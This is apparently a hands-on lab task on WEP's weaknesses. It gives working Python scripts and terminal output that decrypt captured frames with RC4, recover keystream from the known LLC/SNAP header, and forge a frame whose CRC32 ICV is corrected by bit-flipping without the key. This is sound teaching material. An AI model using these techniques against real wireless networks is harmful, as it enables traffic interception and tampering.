As we saw in the How WEP Works and Why It Failed task, the initialisation vector is sent in the clear. It takes up the three bytes in front of the encrypted data, and the receiver reads them before it decrypts anything. Without holding the key, we can read those bytes in the same way.
We can print the vector straight out of the file we collected earlier using tshark, the command-line form of Wireshark. It dissects the capture without decrypting any of the frames in it.
Terminal
user@debian-thm:~$ tshark -r wep-01.cap -Y "wlan.fc.protected == 1" -T fields -e frame.number -e wlan.ta -e wlan.wep.iv -e wlan.wep.key -c 8
1 64:32:a8:56:32:56 0x64498e 0
2 f0:9f:c2:71:22:11 0xf8b243 0
3 64:32:a8:56:32:56 0x64498f 0
4 f0:9f:c2:71:22:11 0xf8b244 0
5 64:32:a8:56:32:56 0x644990 0
6 f0:9f:c2:71:22:11 0xf8b245 0
In the above command, the -Y option is a display filter that keeps only the frames whose Protected bit is set, and -T fields asks for named fields instead of a packet summary. Since -c 8 stops after eight frames have been read, at most eight lines come back, or fewer when beacons or probe responses take up some of those first eight records. The columns are the frame number, the transmitter, the initialisation vector and the key index.
From the above output, we can see two transmitters, the access point at f0:9f:c2:71:22:11 and the station at 64:32:a8:56:32:56, and their vectors interleave in the listing. The station issues 64498e, 64498f and 644990, while the access point issues f8b243, f8b244 and f8b245, so each device is running a counter of its own. As described in the How WEP Works and Why It Failed task, a counter goes up by one for every frame that its owner transmits, starting from wherever it happened to be when the device booted. On these devices, a vector repeats when the counter wraps after going through all 16,777,216 possible vectors, or when the device restarts.
The key index reads 0 on every row, and it is the same field that wep_tx_keyidx sets in a client configuration. A station may hold four keys, and the index names the key that encrypted the frame.
A listing taken from our own capture will not match the one above, since its vectors record where each counter had reached when we started listening. Its counters will skip values wherever the card missed a frame, because a capture only records the frames that the card happened to receive.
To decrypt a frame, the receiver puts the three bytes of the vector in front of the shared key and seeds RC4 with the result. A 40-bit key is five bytes long, so the seed comes to eight bytes, three of which arrived in the clear with the frame. Joining the vector to the key is all there is to the construction. It is small enough for us to write out ourselves and check against real frames.
Decrypting a Frame by Hand
We need two pieces of code, and neither of them is large. RC4 is fourteen lines, and it is made up of a key scheduling algorithm and a generator. The key scheduling algorithm permutes a 256-byte array according to the seed, and the generator then walks that array to produce one keystream byte for each byte of data.
The second piece, the integrity check, is a single comparison. WEP's ICV is a CRC32 computed over the plaintext, and it is appended to that plaintext and then encrypted along with it. A receiver decrypts the body, splits the last four bytes off and compares them against a CRC32 that it computes itself.
First, we can create a directory to hold the scripts this task uses.
Terminal
user@debian-thm:~$ mkdir -p /tmp/wepint
Then, we can write the following script to /tmp/wepint/wep-decrypt.py. It uses nothing outside the standard library, and it walks the capture file by hand instead of through a parsing library, so that every offset stays visible. For example, we can see the three vector bytes being lifted from offset 24 of each frame.
#!/usr/bin/env python3
"""Seed RC4 with IV||key, decrypt a real WEP frame, and check the ICV with CRC32."""
import struct, sys, zlib
cap = sys.argv[1]
keyhex = sys.argv[2]
count = int(sys.argv[3]) if len(sys.argv) > 3 else 3
key = bytes.fromhex(keyhex)
def rc4(seed, data):
S = list(range(256))
j = 0
for i in range(256): # KSA: the whole secret enters here
j = (j + S[i] + seed[i % len(seed)]) & 0xFF
S[i], S[j] = S[j], S[i]
out = bytearray()
i = j = 0
for b in data: # PRGA: one keystream byte per plaintext byte
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
out.append(b ^ S[(S[i] + S[j]) & 0xFF])
return bytes(out)
def frames(path):
f = open(path, "rb")
magic, vmaj, vmin, tz, sig, snap, link = struct.unpack("<IHHiIII", f.read(24))
assert link == 105, "linktype %d, expected 105 (IEEE 802.11)" % link
while True:
ph = f.read(16)
if len(ph) < 16:
return
ts, tus, cl, ol = struct.unpack("<IIII", ph)
yield f.read(cl)
print("WEP key supplied : %s (%d bytes = %d-bit secret, advertised as %d-bit WEP)"
% (keyhex, len(key), len(key) * 8, len(key) * 8 + 24))
print()
ok = bad = 0
shown = 0
for d in frames(cap):
if len(d) < 36:
continue
fc = struct.unpack("<H", d[0:2])[0]
if ((fc >> 2) & 3) != 2 or not ((fc >> 14) & 1):
continue
iv = d[24:27]
body = d[28:]
seed = iv + key # <-- the entire construction
plain = rc4(seed, body)
payload, icv = plain[:-4], plain[-4:]
calc = zlib.crc32(payload) & 0xFFFFFFFF
got = struct.unpack("<I", icv)[0]
if calc == got:
ok += 1
else:
bad += 1
if shown < count:
shown += 1
print("=== frame %d ===" % shown)
print(" IV (clear, from the frame) %s" % iv.hex())
print(" key (the shared secret) %s" % key.hex())
print(" RC4 seed = IV || key %s <-- %d bits, of which %d are public"
% (seed.hex(), len(seed) * 8, 24))
print(" ciphertext, first 16 bytes %s" % body[:16].hex())
print(" plaintext, first 16 bytes %s" % payload[:16].hex())
if payload[:6] == b"\xaa\xaa\x03\x00\x00\x00":
et = struct.unpack(">H", payload[6:8])[0]
print(" ^ LLC/SNAP aa aa 03 00 00 00, ethertype 0x%04x" % et)
if et == 0x0800 and len(payload) > 28:
ihl = (payload[8] & 0xF) * 4
src = ".".join(str(b) for b in payload[8 + 12:8 + 16])
dst = ".".join(str(b) for b in payload[8 + 16:8 + 20])
print(" IPv4 %s -> %s proto %d len %d"
% (src, dst, payload[8 + 9], struct.unpack(">H", payload[8 + 2:8 + 4])[0]))
print(" ICV from frame (little-end) %s = 0x%08x" % (icv.hex(), got))
print(" CRC32 of decrypted payload %s = 0x%08x"
% (struct.pack("<I", calc).hex(), calc))
print(" ICV check %s" % ("PASS" if calc == got else "FAIL"))
print()
if shown == 1 and calc == got and payload[:6] == b"\xaa\xaa\x03\x00\x00\x00":
# Keystream recovery: no key needed, only a guessed plaintext. Only claim it
# where the key was right and the frame really does start with LLC/SNAP,
# or the sentence below describes something that did not happen.
ks_from_key = bytes(a ^ b for a, b in zip(body, payload))
known = b"\xaa\xaa\x03\x00\x00\x00"
ks_from_guess = bytes(a ^ b for a, b in zip(body[:6], known))
print(" keystream RC4 actually produced (first 6) %s" % ks_from_key[:6].hex())
print(" keystream recovered by guessing the SNAP %s" % ks_from_guess.hex())
print(" identical: %s -- that recovery used no key at all, only a guess at the"
% (ks_from_key[:6] == ks_from_guess))
print(" first six plaintext bytes, which every LLC/SNAP frame shares.")
print()
print("--- every protected data frame in the capture ---")
print("ICV verified : %d" % ok)
print("ICV failed : %d" % bad)
print("verification rate: %.2f%%" % (100.0 * ok / (ok + bad) if ok + bad else 0))
After that, we can run it against the capture collected earlier, with the ten hexadecimal characters recovered in the Recovering the WEP Key task in place of <key>. Both scripts in this task read the key with bytes.fromhex, so we have to enter it without the colons that aircrack-ng printed. If we enter the colon-separated form, the script stops with an error. The final argument is how many frames to print in full.
Terminal
user@debian-thm:~$ python3 /tmp/wepint/wep-decrypt.py wep-01.cap <key> 1
WEP key supplied : <key> (5 bytes = 40-bit secret, advertised as 64-bit WEP)
=== frame 1 ===
IV (clear, from the frame) 64498e
key (the shared secret) <key>
RC4 seed = IV || key 64498e<key> <-- 64 bits, of which 24 are public
ciphertext, first 16 bytes 5b4116e06690deccc73b97e2f3aed474
plaintext, first 16 bytes aaaa0300000008004500040479054000
^ LLC/SNAP aa aa 03 00 00 00, ethertype 0x0800
IPv4 <client-ip> -> 192.168.1.1 proto 1 len 1028
ICV from frame (little-end) 2bc05c40 = 0x405cc02b
CRC32 of decrypted payload 2bc05c40 = 0x405cc02b
ICV check PASS
keystream RC4 actually produced (first 6) f1eb15e06690
keystream recovered by guessing the SNAP f1eb15e06690
identical: True -- that recovery used no key at all, only a guess at the
first six plaintext bytes, which every LLC/SNAP frame shares.
--- every protected data frame in the capture ---
ICV verified : 24829
ICV failed : 0
verification rate: 100.00%
From the first sixteen bytes of plaintext, we can see that the seed was built correctly. They open with the six bytes aa aa 03 00 00 00, an LLC/SNAP header, and these are followed by the two-byte ethertype 0x0800 for IPv4. The byte after that, 45, is the start of a well-formed IPv4 header. The script reads the addresses, protocol number and total length out of that header for us.
This plaintext only comes back when the vector goes in front of the key. If we build the seed with the key first and the vector after it, the output looks just as random as the ciphertext that went in. The same happens if we seed RC4 with the key by itself.
The last four bytes of the decrypted body are the ICV, stored little-endian, and the CRC32 computed over everything in front of them matches it. A single frame could match by accident, at odds of roughly one in four billion, so the script goes on to decrypt every protected data frame in the file and reports how many of them passed. Since each frame has its own vector and is decrypted under a different keystream, each frame that passes is a separate check on the key. The whole run takes around eighteen seconds.
Your own counts will be different, since they describe however much traffic you collected. If the first frame in your file carries ARP and not IPv4, the script prints no address line for it, and you can raise the final argument to show further frames.
Checking the Work Against a Wrong Key
If the ICV check passed everything, it would pass a wrong key as well as the correct one, so one successful run does not prove much on its own. Next, we can run the same script over the same frames, with only one character of the key changed. Put the recovered key in place of <wrong-key>, with its last hexadecimal character swapped for any other digit.
Terminal
user@debian-thm:~$ python3 /tmp/wepint/wep-decrypt.py wep-01.cap <wrong-key> 1
With the wrong key, every frame fails the ICV check, and the rate at the end reads 0.00% where the correct key gave 100.00%. Between them, the two runs confirm that the key the statistical attack recovered is the one in use on this network. Outside WEP, the same check works on anything that takes a key and gives a result we can verify. We can run it once with a key that should succeed and once with a key that should fail.
We can also compare the ICV from frame line between the two runs. The failing run reads a different ICV out of the same frame, since the ICV is computed over the plaintext and then encrypted along with it. If the checksum travelled in the clear beside the ciphertext, both runs would read the same four bytes. With a wrong key, the stored checksum and the computed checksum are both corrupted at once, so both sides of the comparison move.
Recovering Keystream From a Guess
Encryption in WEP is XOR with a keystream, so if we know any two of the ciphertext, the plaintext and the keystream, we can work out the third. The receiver works out the plaintext from the ciphertext and the keystream it generates from the key, but nothing stops us from working out the keystream from the ciphertext and a plaintext that we can guess.
Without the key, we do not have the plaintext of the frame, but we only need the first part of it. Every data frame that carries a network-layer payload begins with the LLC/SNAP header we saw above, aa aa 03 00 00 00, so a guess at those six bytes is always right. If we combine them with the first six bytes of ciphertext, we get six bytes of keystream for that frame.
Near the foot of the first run, the script prints this keystream twice, once recovered from the guess with no key involved and once produced by RC4 from the key. The line printed below the two of them reads identical: True.
This keystream belongs to one initialisation vector, so we can only use it to encrypt six bytes in a frame that carries that same vector. It is not the key, and we cannot work the key out from it, so on its own this result is not enough to break WEP. However, an attack can build on it by persuading the access point to return longer and longer stretches of the same keystream. In the Forging Traffic Without the Key task, we will look at that attack.
Correcting the Checksum Without the Key
The designers of WEP were dealing with a noisy radio link, and CRC32 was a reasonable choice of ICV for that problem. It is cheap to compute, and it catches the kind of damage that a noisy link does to a frame in flight. However, CRC32 is linear over XOR, and this property makes it unfit for protecting a frame against changes made on purpose. If we flip some bits in a message, the difference between the old checksum and the new one depends only on which bits were flipped, so it is the same whatever the message happens to contain.
Because of this linearity, we can change both the payload of a frame and its checksum without holding the key. Since the ciphertext is the plaintext combined with the keystream by XOR, flipping a bit of the ciphertext flips the same bit of the plaintext, and we never need to know the keystream to do it. The correction that the flip needs in the CRC32 can be worked out from our own mask, by taking the checksum of the mask and combining it with the checksum of a run of zero bytes of the same length. The stored ICV is encrypted with the same keystream as the payload, so we can apply that correction to the encrypted ICV directly, and the payload and the checksum will still agree when the receiver decrypts them. Forging a frame in this way is known as a bit-flipping attack, and it defeats the integrity check without any attack on the encryption itself.
Write the following to /tmp/wepint/wep-bitflip.py.
#!/usr/bin/env python3
"""CRC32 is linear, so the ICV can be corrected without the key. Show it."""
import struct, sys, zlib
cap = sys.argv[1]
keyhex = sys.argv[2]
key = bytes.fromhex(keyhex)
def rc4(seed, data):
S = list(range(256)); j = 0
for i in range(256):
j = (j + S[i] + seed[i % len(seed)]) & 0xFF
S[i], S[j] = S[j], S[i]
out = bytearray(); i = j = 0
for b in data:
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
out.append(b ^ S[(S[i] + S[j]) & 0xFF])
return bytes(out)
def crc_delta(d):
"""CRC32(p XOR d) XOR CRC32(p), computed from d alone. No plaintext needed."""
return zlib.crc32(d) ^ zlib.crc32(bytes(len(d)))
f = open(cap, "rb")
assert struct.unpack("<IHHiIII", f.read(24))[6] == 105, "expected linktype 105 (IEEE 802.11)"
frame = None
while frame is None:
ph = f.read(16)
if len(ph) < 16:
break
cl = struct.unpack("<IIII", ph)[2]
d = f.read(cl)
fc = struct.unpack("<H", d[0:2])[0]
if ((fc >> 2) & 3) == 2 and ((fc >> 14) & 1) and len(d) > 100:
frame = d
if frame is None:
sys.exit("no protected data frame longer than 100 bytes in this capture; "
"collect a little more traffic and try again")
iv, ct = frame[24:27], frame[28:]
ct_body, ct_icv = ct[:-4], ct[-4:]
print("Everything below this line is done WITHOUT the key.")
print("-" * 68)
print(" captured ciphertext body, bytes 40-47 : %s" % ct_body[40:48].hex())
print(" captured encrypted ICV : %s" % ct_icv.hex())
delta = bytearray(len(ct_body))
delta[40:48] = b"\x00\x00\x00\x00\x00\x00\x00\xff" # flip 8 bits deep inside the payload
delta = bytes(delta)
forged_body = bytes(a ^ b for a, b in zip(ct_body, delta))
forged_icv = bytes(a ^ b for a, b in zip(ct_icv, struct.pack("<I", crc_delta(delta))))
print(" chosen bit-flip mask at those bytes : %s" % delta[40:48].hex())
print(" CRC32 correction derived from the mask: %08x" % crc_delta(delta))
print(" forged ciphertext body, bytes 40-47 : %s" % forged_body[40:48].hex())
print(" forged encrypted ICV : %s" % forged_icv.hex())
print("-" * 68)
print("Now play the receiver, who does hold the key, and see what it makes of each.")
print()
for label, body, icvc in (("original frame", ct_body, ct_icv),
("forged frame ", forged_body, forged_icv)):
plain = rc4(iv + key, body + icvc)
payload, icv = plain[:-4], plain[-4:]
calc = zlib.crc32(payload) & 0xFFFFFFFF
got = struct.unpack("<I", icv)[0]
print(" %s plaintext[40:48]=%s ICV 0x%08x CRC32 0x%08x %s"
% (label, payload[40:48].hex(), got, calc, "ACCEPTED" if calc == got else "REJECTED"))
Then, we can run the script against the same capture, with the recovered key in place of <key>. It does our half of the attack using only the captured bytes. After that, it plays the receiver, who does hold the key, so that we can see whether each frame is accepted.
Terminal
user@debian-thm:~$ python3 /tmp/wepint/wep-bitflip.py wep-01.cap <key>
Everything below this line is done WITHOUT the key.
--------------------------------------------------------------------
captured ciphertext body, bytes 40-47 : cd9e33ff1299c95f
captured encrypted ICV : 4db0e903
chosen bit-flip mask at those bytes : 00000000000000ff
CRC32 correction derived from the mask: 781fb104
forged ciphertext body, bytes 40-47 : cd9e33ff1299c9a0
forged encrypted ICV : 4901f67b
--------------------------------------------------------------------
Now play the receiver, who does hold the key, and see what it makes of each.
original frame plaintext[40:48]=00000000c9980900 ICV 0x405cc02b CRC32 0x405cc02b ACCEPTED
forged frame plaintext[40:48]=00000000c99809ff ICV 0x3843712f CRC32 0x3843712f ACCEPTED
The first half of the above output is our side of the attack, and it uses nothing but the bytes captured from the air and a mask that we chose. The mask flips eight bits deep inside the payload, and the matching correction to the ICV is derived from the mask alone. In the second half, the receiver decrypts both frames with the key and checks each of them. It accepts the original frame, as it should, and it accepts the forged frame as well. In the forged frame, bytes 40 to 47 of the decrypted plaintext end 09ff, where the same bytes of the frame that was actually sent end 0900, so the receiver has accepted a frame that we changed and reported it as intact.
Unlike the attack that we will look at in the Forging Traffic Without the Key task, this forgery did not need a longer stretch of keystream, and the key only came into it when the script played the receiver. Our half of the attack did not decrypt anything, so it flipped byte 47 without reading what the byte held. The new plaintext value of ff that the receiver found there was not chosen to mean anything.
If we know the layout of the payload, we can flip the bits of other fields in the same way, such as the destination address, the port numbers or the protocol fields. Giving one of those fields a value of our own choosing also needs its current value, whether we know it or guess it, because the mask has to be the old value combined with the new one by XOR. In many cases the current value is easy to work out, as with 192.168.1.1, which the first run printed as the destination address of this frame.
The ICV still catches frames that were damaged by accident on the way, as it was designed to. A checksum takes no secret, though, so anybody who changes a frame can recompute it, and the receiver has no way to tell that the change was made on purpose. Any protocol whose integrity check is only a checksum would be open to this attack, even one whose encryption is sound. WPA addressed this by adding a keyed MIC, a value that cannot be recomputed by anybody who does not hold the key.